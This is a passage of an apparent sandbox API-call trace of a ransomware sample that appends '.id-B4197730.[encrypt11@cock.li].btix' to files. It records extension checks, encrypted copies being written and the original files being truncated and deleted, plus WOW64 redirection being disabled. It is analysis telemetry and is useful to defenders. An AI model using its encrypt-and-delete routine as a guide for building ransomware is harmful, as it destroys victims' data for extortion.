lpString2=".dll") returned 1 [0070.854] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.854] lstrlenW (lpString=".zip") returned 4 [0070.854] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.854] lstrlenW (lpString=".rar") returned 4 [0070.854] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.854] lstrlenW (lpString=".bz2") returned 4 [0070.854] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.854] lstrlenW (lpString=".7z") returned 3 [0070.854] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.854] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.854] lstrlenW (lpString=".dbf") returned 4 [0070.854] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.854] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.854] lstrlenW (lpString=".1cd") returned 4 [0070.854] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.854] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.854] lstrlenW (lpString=".jpg") returned 4 [0070.854] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.854] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.854] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.854] lstrlenW (lpString=".doc") returned 4 [0070.855] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.855] lstrlenW (lpString=".docx") returned 5 [0070.855] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0070.855] lstrlenW (lpString=".pdf") returned 4 [0070.855] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.855] lstrlenW (lpString=".xls") returned 4 [0070.855] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.855] lstrlenW (lpString=".xlsx") returned 5 [0070.855] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0070.855] lstrlenW (lpString=".ppt") returned 4 [0070.855] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0070.855] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.855] lstrlenW (lpString=".zip") returned 4 [0070.855] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.855] lstrlenW (lpString=".rar") returned 4 [0070.855] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.855] lstrlenW (lpString=".bz2") returned 4 [0070.855] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.855] lstrlenW (lpString=".7z") returned 3 [0070.855] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.855] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.855] lstrlenW (lpString=".dbf") returned 4 [0070.855] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.855] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.855] lstrlenW (lpString=".1cd") returned 4 [0070.855] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.855] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.855] lstrlenW (lpString=".jpg") returned 4 [0070.855] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.855] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0070.856] lstrlenW (lpString="awt.dll") returned 7 [0070.856] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0070.856] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=1516608) returned 1 [0070.856] CloseHandle (hObject=0x36c) returned 1 [0070.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0070.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0070.856] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0070.856] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0070.856] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0070.856] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.857] GetLastError () returned 0x0 [0070.857] ReadFile (in: hFile=0x36c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0xffff0, lpOverlapped=0x0) returned 1 [0071.168] WriteFile (in: hFile=0x38c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xffff0, lpOverlapped=0x0) returned 1 [0071.186] ReadFile (in: hFile=0x36c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x72450, lpOverlapped=0x0) returned 1 [0071.199] WriteFile (in: hFile=0x38c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x72460, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x72460, lpOverlapped=0x0) returned 1 [0071.611] ReadFile (in: hFile=0x36c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0071.611] WriteFile (in: hFile=0x38c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xe2, lpOverlapped=0x0) returned 1 [0071.611] SetEndOfFile (hFile=0x38c) returned 1 [0071.746] CloseHandle (hObject=0x38c) returned 1 [0071.746] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0071.746] SetEndOfFile (hFile=0x36c) returned 1 [0071.749] CloseHandle (hObject=0x36c) returned 1 [0071.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0071.749] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1 [0071.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.798] lstrlenW (lpString=".doc") returned 4 [0071.798] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.798] lstrlenW (lpString=".docx") returned 5 [0071.798] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0071.798] lstrlenW (lpString=".pdf") returned 4 [0071.798] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.799] lstrlenW (lpString=".xls") returned 4 [0071.799] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.799] lstrlenW (lpString=".xlsx") returned 5 [0071.799] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0071.799] lstrlenW (lpString=".ppt") returned 4 [0071.799] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.799] lstrlenW (lpString=".zip") returned 4 [0071.799] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.799] lstrlenW (lpString=".rar") returned 4 [0071.799] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.799] lstrlenW (lpString=".bz2") returned 4 [0071.799] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.799] lstrlenW (lpString=".7z") returned 3 [0071.799] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.799] lstrlenW (lpString=".dbf") returned 4 [0071.799] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.799] lstrlenW (lpString=".1cd") returned 4 [0071.799] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.799] lstrlenW (lpString=".jpg") returned 4 [0071.799] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.799] lstrlenW (lpString=".doc") returned 4 [0071.799] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.799] lstrlenW (lpString=".docx") returned 5 [0071.799] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0071.799] lstrlenW (lpString=".pdf") returned 4 [0071.799] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.799] lstrlenW (lpString=".xls") returned 4 [0071.799] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.799] lstrlenW (lpString=".xlsx") returned 5 [0071.800] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0071.800] lstrlenW (lpString=".ppt") returned 4 [0071.800] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.800] lstrlenW (lpString=".zip") returned 4 [0071.800] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.800] lstrlenW (lpString=".rar") returned 4 [0071.800] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.800] lstrlenW (lpString=".bz2") returned 4 [0071.800] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.800] lstrlenW (lpString=".7z") returned 3 [0071.800] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.800] lstrlenW (lpString=".dbf") returned 4 [0071.800] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.800] lstrlenW (lpString=".1cd") returned 4 [0071.800] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0071.800] lstrlenW (lpString=".jpg") returned 4 [0071.800] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.800] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0071.800] lstrlenW (lpString="glib-lite.dll") returned 13 [0071.800] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0071.801] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=455744) returned 1 [0071.801] CloseHandle (hObject=0x36c) returned 1 [0071.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0071.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0071.801] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0071.801] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0071.801] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0071.801] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0071.801] GetLastError () returned 0x0 [0071.801] ReadFile (hFile=0x36c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0) Thread: id = 14 os_tid = 0x5cc [0040.824] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x75ed80 [0040.825] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x76ed88 [0040.825] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6eca88 [0040.825] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x71d170 [0040.825] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecba8 [0040.825] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x3b14020 [0040.828] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecaa0 [0040.828] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecaa0, Size=0x20) returned 0x6ce7c8 [0040.828] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecbc0 [0040.828] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecbc0, Size=0x20) returned 0x6ce7f0 [0040.828] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0040.828] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.828] Wow64DisableWow64FsRedirection (in: OldValue=0x302ff50 | out: OldValue=0x302ff50*=0x0) returned 1 [0040.828] lstrlenW (lpString="kernel32.dll") returned 12 [0040.828] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7c8 | out: hHeap=0x690000) returned 1 [0040.828] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.828] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7f0 | out: hHeap=0x690000) returned 1 [0040.828] Sleep (dwMilliseconds=0x64) [0041.199] lstrcmpiW (lpString1=".cmd", lpString2=".btix") returned 1 [0041.199] lstrlenW (lpString="preoobe.cmd") returned 11 [0041.199] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0041.404] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=74) returned 1 [0041.404] CloseHandle (hObject=0x310) returned 1 [0041.404] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0041.404] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.405] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0041.405] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.405] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.405] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0041.405] GetLastError () returned 0x0 [0041.405] ReadFile (in: hFile=0x310, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x4a, lpOverlapped=0x0) returned 1 [0041.415] WriteFile (in: hFile=0x314, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x50, lpOverlapped=0x0) returned 1 [0041.415] ReadFile (in: hFile=0x310, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.415] WriteFile (in: hFile=0x314, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xea, lpOverlapped=0x0) returned 1 [0041.415] SetEndOfFile (hFile=0x314) returned 1 [0041.416] CloseHandle (hObject=0x314) returned 1 [0041.416] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.416] SetEndOfFile (hFile=0x310) returned 1 [0041.417] CloseHandle (hObject=0x310) returned 1 [0041.417] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0041.417] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0041.418] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.418] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.418] lstrlenW (lpString=".doc") returned 4 [0041.418] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0041.418] lstrlenW (lpString=".docx") returned 5 [0041.418] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0041.418] lstrlenW (lpString=".pdf") returned 4 [0041.418] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0041.418] lstrlenW (lpString=".xls") returned 4 [0041.418] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0041.418] lstrlenW (lpString=".xlsx") returned 5 [0041.418] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0041.418] lstrlenW (lpString=".ppt") returned 4 [0041.418] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0041.418] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.418] lstrlenW (lpString=".zip") returned 4 [0041.418] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0041.418] lstrlenW (lpString=".rar") returned 4 [0041.418] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0041.418] lstrlenW (lpString=".bz2") returned 4 [0041.418] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0041.418] lstrlenW (lpString=".7z") returned 3 [0041.418] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0041.418] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.418] lstrlenW (lpString=".dbf") returned 4 [0041.418] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0041.418] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.418] lstrlenW (lpString=".1cd") returned 4 [0041.418] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0041.418] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.419] lstrlenW (lpString=".jpg") returned 4 [0041.419] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0041.419] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.419] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.419] lstrlenW (lpString=".doc") returned 4 [0041.419] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0041.419] lstrlenW (lpString=".docx") returned 5 [0041.419] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0041.419] lstrlenW (lpString=".pdf") returned 4 [0041.419] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0041.419] lstrlenW (lpString=".xls") returned 4 [0041.419] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0041.419] lstrlenW (lpString=".xlsx") returned 5 [0041.419] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0041.419] lstrlenW (lpString=".ppt") returned 4 [0041.419] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0041.419] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.419] lstrlenW (lpString=".zip") returned 4 [0041.419] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0041.419] lstrlenW (lpString=".rar") returned 4 [0041.419] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0041.419] lstrlenW (lpString=".bz2") returned 4 [0041.419] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0041.419] lstrlenW (lpString=".7z") returned 3 [0041.419] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0041.419] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.419] lstrlenW (lpString=".dbf") returned 4 [0041.419] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0041.419] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.419] lstrlenW (lpString=".1cd") returned 4 [0041.419] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0041.419] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0041.419] lstrlenW (lpString=".jpg") returned 4 [0041.419] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0041.420] lstrcmpiW (lpString1=".MARKER", lpString2=".btix") returned 1 [0041.420] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0041.420] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0042.053] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=0) returned 1 [0042.053] CloseHandle (hObject=0x330) returned 1 [0042.053] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.053] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.054] lstrlenW (lpString=".doc") returned 4 [0042.054] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0042.054] lstrlenW (lpString=".docx") returned 5 [0042.054] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0042.054] lstrlenW (lpString=".pdf") returned 4 [0042.054] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0042.054] lstrlenW (lpString=".xls") returned 4 [0042.054] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0042.054] lstrlenW (lpString=".xlsx") returned 5 [0042.054] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0042.054] lstrlenW (lpString=".ppt") returned 4 [0042.054] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0042.054] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.054] lstrlenW (lpString=".zip") returned 4 [0042.054] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0042.054] lstrlenW (lpString=".rar") returned 4 [0042.054] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0042.054] lstrlenW (lpString=".bz2") returned 4 [0042.054] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0042.054] lstrlenW (lpString=".7z") returned 3 [0042.054] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0042.054] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.054] lstrlenW (lpString=".dbf") returned 4 [0042.054] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0042.054] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.054] lstrlenW (lpString=".1cd") returned 4 [0042.054] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0042.054] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0042.054] lstrlenW (lpString=".jpg") returned 4 [0042.054] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned 